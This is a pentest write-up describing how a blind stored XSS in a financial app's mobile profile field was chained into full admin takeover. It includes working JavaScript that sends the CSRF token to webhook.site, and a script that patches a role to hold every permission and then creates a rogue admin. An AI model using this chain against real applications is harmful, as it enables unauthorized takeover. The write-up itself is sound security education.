Pentest: From Customer to Full Application Takeover
Introduction
Welcome everyone! In addition to my regular work, I take on some pentesting projects as a freelancer for various clients. Today, I’m excited to share a particularly interesting bug that started as a seemingly straightforward XSS
vulnerability but ultimately led to a full application takeover.
Application Overview
The application in question is a financial solution platform. It includes a web dashboard used by high-privileged users, such as admin
, and a mobile application designed for customers
. The customers can only perform specific actions like signing up, viewing their personal and financial information, reporting issues, modifying their profiles, and more. The application’s user features are outlined as follows:
Feature | Description |
---|---|
all notifications | View and manage all notifications generated by the application. |
check incomplete applications | Review and track applications that are not fully completed. |
Edit Profile | Allows users to modify their personal profile information within the application. |
get Dashboard | Access the main dashboard, displaying an overview of important metrics and data. |
Read Applications | Review and analyze submitted applications. |
Submit Application | Submit new applications through the platform. |
unRead Notifications | View notifications that have not been read yet. |
update profile | Update and save changes to the user’s profile information. |
For the admins
, they have full access to the application, including control over all users and customers. Unlike customers
, users
can be created by the admin
and assigned specific roles, which limit the privileges of each user. Each role comes with its own set of permissions, and there are over 70
different permissions available in the application. The features available to admins
include the following:
Feature Name | Description |
---|---|
Dashboard | Provides an overview of key metrics and data relevant to the admin’s tasks. |
Roles | Manage and assign different roles and permissions to users within the system. |
Users | View, manage, and edit user accounts and their information. |
Customers | Manage customer profiles and information. |
Applications | Review, approve, or reject applications submitted by customers. |
Generic Keys | Manage generic keys used for system operations or integrations. |
Generic Key Values | Assign and manage values associated with generic keys in the system. |
Products | Manage the product offerings available in the system. |
Sub Products | Handle subcategories or variations of main products. |
Financing Companies | Manage information related to financing companies associated with the system. |
Subscription Plans | Create, edit, and manage subscription plans available to users. |
Schemes | Define and manage various schemes available within the system. |
Workflow Heads | Oversee and manage the heads or leaders of different workflows. |
Workflow | Define and manage the workflows for different processes within the system. |
Eligibility | Set and manage criteria for eligibility related to products, services, or schemes. |
Advertisements | Manage and configure advertisements displayed within the system. |
Logs | View and analyze system logs for auditing and troubleshooting purposes. |
Configurations | Manage system configurations and settings. |
The application included the following permissions:
Permission | Permission | Permission | Permission |
---|---|---|---|
role-list | role-create | role-edit | role-delete |
user-list | user-create | user-edit | user-delete |
generic-key-list | generic-key-create | generic-key-edit | generic-key-delete |
generic-key-value-list | generic-key-value-create | generic-key-value-edit | generic-key-value-delete |
configuration-list | configuration-create | configuration-edit | configuration-delete |
product-list | product-create | product-edit | product-delete |
sub-product-list | sub-product-create | sub-product-edit | sub-product-delete |
subscription-plan-list | subscription-plan-create | subscription-plan-edit | subscription-plan-delete |
financing-company-list | financing-company-create | financing-company-edit | financing-company-delete |
sub-user-list | sub-user-create | sub-user-edit | sub-user-delete |
log-list | scheme-list | scheme-create | scheme-edit |
scheme-delete | eligibility-rule-list | eligibility-rule-create | eligibility-rule-edit |
eligibility-rule-delete | advertisement-list | advertisement-create | advertisement-edit |
advertisement-delete | application-list | workflow-list | workflow-create |
workflow-edit | workflow-delete | interface-mapping-list | interface-mapping-create |
interface-mapping-edit | interface-mapping-delete | workflow-head-list | workflow-head-create |
workflow-head-edit | workflow-head-delete | eligibility-criteria-list | eligibility-criteria-create |
eligibility-criteria-edit | eligibility-criteria-delete | third-party-api-list | third-party-api-create |
third-party-api-edit | third-party-api-delete | page-list | page-create |
page-edit | page-delete | flag-list | lead-list |
checker |
Features Summary Diagram
- Admins:
- Customers
The Story
XSS Vulnerability
On the mobile application side, when a user changes their username
to the following:
The request looks like this:
Our malicious input, which includes a JavaScript alert, is sent in the request without any filtration on the mobile app side. When this request reaches the admin
dashboard, it displays as follows:
This indicates that we have a blind XSS
vulnerability. The next logical step would be to steal the admin’s cookies and gain access to their account. However, the challenge here is that the cookies are marked as HttpOnly
. The HttpOnly
attribute is specifically designed to mitigate certain forms of XSS
attacks by preventing cookies from being accessed through client-side scripts, as illustrated below:
Find Another way
At that point, I decided to set aside the XSS
vulnerability and began searching for other potential vulnerabilities that might allow me to access the admin
account or perform administrative actions. That’s when I considered the possibility of a CSRF
(Cross-Site Request Forgery) vulnerability, especially since the admin
has the ability to add new users
, which could include another admin
. When adding a new user, the process looked like this:
The fields shown in the screenshot are the required inputs to add a new user
. After intercepting the request in BurpSuite
, the request appeared as follows:
POST /app/public/admin/users HTTP/1.1
Host: application.com
User-Agent: UserAgent
Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: http://application.com
Connection: close
Referer: http://application.com/app/public/admin/users/create
Cookie: XSRF-TOKEN=eyJp............; session=eyJ......In0&3D
_token=rR8Hp7ewaT8FenxSzfAfqhN9ue5LiFgi13HS76SS&name=Pentester&email=pentest%40pentest.co&password=Pentest123456%23&confirm-password=Pentest123456%23&role=2
Here, I found both good and bad news. The good news was that the admin dashboard wasn’t using a JSON Web Token
like the mobile app, making it potentially vulnerable to CSRF
attacks. The bad news was the presence of a CSRF
token in the _token
parameter, which verifies the request’s authenticity. I attempted several common methods to bypass the CSRF
token, such as using a random token of the same length, setting the value to NULL
or empty, or removing the entire parameter and value. Unfortunately, none of these attempts were successful.
After further investigation, I discovered that the CSRF
token is retrieved from a meta
tag in the response page, as shown below:
This discovery led me back to the XSS
vulnerability. Although I couldn’t steal cookies due to the HttpOnly
attribute, I realized I could still load JavaScript by exploiting the src
attribute within the script
tag. By doing so, I could inject a JavaScript code snippet to retrieve the meta
tag with name="csrf-token"
and extract its content
attribute value, which contains the CSRF
token.
Give me the Token
To retrieve the CSRF
token, I used the following code:
let csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
alert(csrfToken);
Here’s how it works: First, I used the document.querySelector
method to find a meta
tag with the attribute name="csrf-token"
. The selector 'meta[name="csrf-token"]'
specifically targets this tag within the document. Once the meta tag is located, the getAttribute
method is called to extract the value of its content
attribute, which contains the actual CSRF
token. This value is then stored in the csrfToken
variable. Finally, the alert
function is used to display the value of csrfToken
.
Seeing that the approach was successful, I proceeded to steal the CSRF
token and send it to my server using webhook.site
. Here’s the updated code:
let csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
let url = "https://webhook.site/hereShouldHaveYourID/";
url += "?token=" + encodeURIComponent(csrfToken);
let i = new Image();
i.src = url;
After retrieving the CSRF
token and storing it in the csrfToken
variable, I set up the base URL for my webhook site. The CSRF
token is then appended as a query parameter to the URL using encodeURIComponent
to ensure it’s safely included. Finally, the script creates an image object and sets its src
to the constructed URL, triggering a GET
request that sends the CSRF
token to my server.
As shown, I successfully stole the CSRF
token using this method.
Add New User
After successfully stealing the CSRF
token, I considered whether it was worth pursuing the traditional CSRF
attack route—injecting the stolen token into a request and sending a CSRF
payload to the admin
, hoping they would click on it. But why stop there when we can be more creative? Since we can retrieve the CSRF
token and inject JavaScript into the admin
’s browser, we can take a more direct approach by executing a request directly through the admin
’s browser using JavaScript.
Here’s how I updated the code:
let csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
let data = new URLSearchParams();
data.append('_token', csrfToken);
data.append('name', 'Pentester');
data.append('email', 'pentest@pentest.co');
data.append('password', 'Pentest123456#');
data.append('confirm-password', 'Pentest123456#');
data.append('role', '2');
fetch('http://application.com/app/public/admin/users', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: data
})
.then(response => response.text())
.then(data => {
console.log('Success:', data);
})
.catch((error) => {
console.error('Error:', error);
});
In this script, after retrieving the CSRF
token and storing it in the csrfToken
variable, I created a URLSearchParams
object to encode and organize the data that will be sent in the request. I appended several key-value pairs, including the CSRF token (_token
), a name (Pentester
), an email (pentest@pentest.co
), a password (Pentest123456#
), and a role ID (2
), which is unknown in terms of permissions. I then used the fetch
API to send a POST request to http://application.com/app/public/admin/users
, aiming to add a new user. The results were logged in the console.
To test the payload, I hosted it locally and updated the username to include the following malicious script: '"><script src="http://localhost/exploit.js"></script>
. When the admin
loaded the page containing this script, the code executed successfully, logging the message in the console and confirming that the new admin
user was added.
However, there’s a potential limitation: if the role ID I used in the request doesn’t have sufficient permissions, the new admin
user may not be able to perform significant actions. This is an issue that needs addressing to ensure the exploit’s effectiveness.
Patch The Role
When we explore all the roles available in the application:
We have the option to edit any of these roles. Let’s select a role
to edit:
From this screen, we can see that editing a role is done through the endpoint /app/public/admin/roles/{id}/edit
, where {id}
corresponds to the specific role ID. In this interface, we can choose the permissions we want to assign to the role. To better understand how this works, let’s intercept and analyze the request using BurpSuite
.
POST /app/public/admin/roles/{roleNumber} HTTP/1.1
Host: application.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [calculated-length]
_method=PATCH&_token=[csrfToken]&name=PoC4Exploit&status=on&permission[]=1&permission[]=2&permission[]=3&permission[]=4&permission[]=11&permission[]=12&permission[]=13&permission[]=14&permission[]=15&permission[]=16&permission[]=17&permission[]=18&permission[]=19&permission[]=20&permission[]=21&permission[]=22&permission[]=23&permission[]=24&permission[]=25&permission[]=26&permission[]=27&permission[]=28&permission[]=29&permission[]=30&permission[]=31&permission[]=32&permission[]=33&permission[]=34&permission[]=35&permission[]=36&permission[]=37&permission[]=38&permission[]=39&permission[]=40&permission[]=41&permission[]=42&permission[]=43&permission[]=44&permission[]=45&permission[]=46&permission[]=47&permission[]=48&permission[]=49&permission[]=50&permission[]=51&permission[]=52&permission[]=53&permission[]=54&permission[]=55&permission[]=56&permission[]=57&permission[]=58&permission[]=59&permission[]=60&permission[]=61&permission[]=65&permission[]=66&permission[]=67&permission[]=68&permission[]=69&permission[]=70&permission[]=71&permission[]=72&permission[]=73&permission[]=74&permission[]=75&permission[]=76&permission[]=77&permission[]=78&permission[]=79&permission[]=80&permission[]=81&permission[]=82&permission[]=83&permission[]=84&permission[]=85&permission[]=86&permission[]=87&permission[]=88&permission[]=89&permission[]=90&permission[]=91
Here’s how the request appears when editing a role
and activating all its permissions. Before adding the malicious user
, we can strategically edit the role
to ensure it has all permissions enabled. After modifying the role, we can then add the user with the modified role
ID, granting the new user full access within the application.
Chaining All Together
Now, we still need to verify whether the role
ID exists before attempting to edit it. When we send a request to the /app/public/admin/roles/{id}/edit
endpoint, if the role
ID does not exist, the application responds with a 500
status code. If the response is anything other than 500
, it indicates that the role
ID exists. The following diagram explains how we will chain all these steps together to update our code:
Let’s Update our code:
let csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
function patchRole(roleNumber) {
let data = new URLSearchParams();
data.append('_method', 'PATCH');
data.append('_token', csrfToken);
data.append('name', 'PoC4Exploit');
data.append('status', 'on');
data.append('permission[]', '1');
data.append('permission[]', '2');
data.append('permission[]', '3');
data.append('permission[]', '4');
data.append('permission[]', '11');
data.append('permission[]', '12');
data.append('permission[]', '13');
data.append('permission[]', '14');
data.append('permission[]', '15');
data.append('permission[]', '16');
data.append('permission[]', '17');
data.append('permission[]', '18');
data.append('permission[]', '19');
data.append('permission[]', '20');
data.append('permission[]', '21');
data.append('permission[]', '22');
data.append('permission[]', '23');
data.append('permission[]', '24');
data.append('permission[]', '25');
data.append('permission[]', '26');
data.append('permission[]', '27');
data.append('permission[]', '28');
data.append('permission[]', '29');
data.append('permission[]', '30');
data.append('permission[]', '31');
data.append('permission[]', '32');
data.append('permission[]', '33');
data.append('permission[]', '34');
data.append('permission[]', '35');
data.append('permission[]', '36');
data.append('permission[]', '37');
data.append('permission[]', '38');
data.append('permission[]', '39');
data.append('permission[]', '40');
data.append('permission[]', '41');
data.append('permission[]', '42');
data.append('permission[]', '43');
data.append('permission[]', '44');
data.append('permission[]', '45');
data.append('permission[]', '46');
data.append('permission[]', '47');
data.append('permission[]', '48');
data.append('permission[]', '49');
data.append('permission[]', '50');
data.append('permission[]', '51');
data.append('permission[]', '52');
data.append('permission[]', '53');
data.append('permission[]', '54');
data.append('permission[]', '55');
data.append('permission[]', '56');
data.append('permission[]', '57');
data.append('permission[]', '58');
data.append('permission[]', '59');
data.append('permission[]', '60');
data.append('permission[]', '61');
data.append('permission[]', '65');
data.append('permission[]', '66');
data.append('permission[]', '67');
data.append('permission[]', '68');
data.append('permission[]', '69');
data.append('permission[]', '70');
data.append('permission[]', '71');
data.append('permission[]', '72');
data.append('permission[]', '73');
data.append('permission[]', '74');
data.append('permission[]', '75');
data.append('permission[]', '76');
data.append('permission[]', '77');
data.append('permission[]', '78');
data.append('permission[]', '79');
data.append('permission[]', '80');
data.append('permission[]', '81');
data.append('permission[]', '82');
data.append('permission[]', '83');
data.append('permission[]', '84');
data.append('permission[]', '85');
data.append('permission[]', '86');
data.append('permission[]', '87');
data.append('permission[]', '88');
data.append('permission[]', '89');
data.append('permission[]', '90');
data.append('permission[]', '91');
console.log(`Patching Role ${roleNumber}`);
return fetch(`http://application.com/app/public/admin/roles/${roleNumber}`, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: data
});
}
function postData(roleNumber) {
let data = new URLSearchParams();
data.append('_token', csrfToken);
data.append('name', 'CustomerTakeover');
data.append('email', 'CustomerTakeover@pentest.co');
data.append('password', 'CustomerTakeover123456#');
data.append('confirm-password', 'CustomerTakeover123456#');
data.append('role', roleNumber.toString());
return fetch('http://application.com/app/public/admin/users', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: data
});
}
function findRole(i, max) {
if (i > max) {
console.error("Role not found up to number:", max);
return;
}
fetch(`http://application.com/app/public/admin/roles/${i}/edit`)
.then(response => {
if (response.status !== 500) {
console.log(`Role number found: ${i}`);
return patchRole(i)
.then(() => postData(i))
.then(response => response.text())
.then(data => {
console.log('User Creation Success:', data);
});
} else {
console.log(`Role ${i} responded with 500. Trying next role.`);
findRole(i + 1, max);
}
})
.catch(error => {
console.error('Error:', error);
});
}
findRole(1, 10);
Here I grab the CSRF
token from the meta
tag, which I store in the csrfToken
variable. Then define the findRole
function, where I iterate through potential role
numbers. I start by sending GET
requests to the role
edit endpoint, beginning with role number 1
and incrementing up to 10
. The function checks if each role
exists by evaluating the server’s response: if the response status is anything other than 500
, it indicates that the role
is a valid role
. then, the function triggers patchRole
to escalate permissions by modifying the identified role
. Once the role has been successfully patched, It will add our new user admin
.
Testing the exploit
- Finding & Patching
role
- Add the new
admin
user
Now, I can control all the application including everyting related to the busniess and the system.
Conclusion
In this exploit, I leveraged a combination of an XSS
vulnerability and CSRF
token retrieval to achieve a full application takeover, starting from what appeared to be a simple XSS
issue. By first identifying that the application was using an HttpOnly
flag on cookies, I bypassed the limitation by focusing on obtaining the CSRF
token directly from the meta
tag using JavaScript
injected via XSS
. With the token in hand, I could have constructed a CSRF
attack, but instead, I opted for a more direct approach by using the stolen token to execute actions directly through the admin’s browser, including modifying user roles and creating a new administrator account. This method allowed me to patch an existing role
with full permissions and then create a new user associated with that role, ensuring the user had elevated access. By chaining these vulnerabilities together XSS
, CSRF
token retrieval, role
modification, and user creation, I was able to demonstrate how a seemingly low-risk vulnerability could be escalated to gain complete control over the application.